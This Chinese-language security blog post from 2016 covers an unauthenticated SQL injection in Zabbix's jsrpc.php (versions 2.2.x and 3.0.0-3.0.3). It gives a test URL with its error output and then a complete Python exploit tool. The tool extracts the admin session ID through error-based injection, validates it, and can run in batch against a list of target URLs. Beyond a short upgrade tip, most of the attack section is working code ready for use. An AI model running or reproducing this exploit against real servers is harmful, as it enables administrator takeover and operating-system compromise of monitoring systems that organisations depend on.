?

Aug 19 2016

ZABBIX高危漏洞,無需授權登陸即可完成控制(更新利用工具)

首頁 » 業界見聞 » ZABBIX高危漏洞,無需授權登陸即可完成控制(更新利用工具)   

abaaix.png

漏洞概述


zabbix是一個開源的企業級性能監控解決方案。

官方網站:http://www.zabbix.com

zabbix的jsrpc的profileIdx2參數存在insert方式的SQL注入漏洞,攻擊者無需授權登陸即可登陸zabbix管理系統,也可通過script等功能輕易直接獲取zabbix服務器的操作系統權限。


影響程度


攻擊成本:低

危害程度:高

是否登陸:不需要

影響范圍:2.2.x, 3.0.0-3.0.3。(其他版本未經測試)


漏洞測試


在您的zabbix的地址后面加上如下url:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

輸出結果,出現如下內容(包含:You have an error in your SQL syntax;)表示漏洞存在:

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" 
id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr 
class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div 
class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES 
(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query 
[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', 
'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an 
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use 
near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: 
$(this).closest('.msg-bad').remove();" title="Close"></span></div>

補充:


 

以上為僅為漏洞驗證測試方式。

攻擊者可以通過進一步構造語句進行錯誤型sql注射,無需獲取和破解加密的管理員密碼。

有經驗的攻擊者可以直接通過獲取admin的sessionid來根據結構算法構造sid,替換cookie直接以管理員身份登陸。


修復方案:


 

哥哥們還是盡快先去升級到最新版吧,據說3.0.4版本已經修補。。。

安全提示

監控系統監控著每個企業的核心資產,一旦被黑客入侵控制,等同幫助黑客進一步滲透企業敞開了大門。

請大家務必重視,并盡快修補此漏洞。


相關信息:


 

該漏洞原始討論信息    http://seclists.org/fulldisclosure/2016/Aug/79

近期發布的另外一個需要登錄的SQL注入漏洞    Zabbix 3.0.3 SQL Injection Vulnerability https://www.exploit-db.com/exploits/40237/

Zabbix 關于該漏洞相關信息    https://support.zabbix.com/browse/ZBX-11023


利用工具,可自動判斷Session是否可用:(2016-8-18 13點更新,作者:黃雨)

 

import urllib,sys,urllib2,urllib
def cookie(url):
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
    body= urllib.urlopen(url+poc).read()
    cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]
    return cookie
def test(cookie,url):
    url=url+'proxies.php'
    req=urllib2.Request(url)
    cook="zbx_sessionid=%s" % cookie
    req.add_header('Cookie', cook)
    response=urllib2.urlopen(req)
    data=response.read()
    if data.find('Access denied.') < 0:
        print "OK-->",cookie
    else:
        print 'ERROR'
if len(sys.argv)==4:
    for i in open(sys.argv[3]).readlines():
        print i
        test(cookie(i),i)
else:
    print sys.argv[1]
    test(cookie(sys.argv[1]),sys.argv[1])1.jpg

CNNVD關于此事件的公告:


CNNVD:關于Zabbix漏洞情況的通報    http://bobao.#/news/detail/3468.html

 

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «真相依舊撲朔迷離:5大問題回顧NSA被黑事件 | 內幕!深入分析NSA入侵事件»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖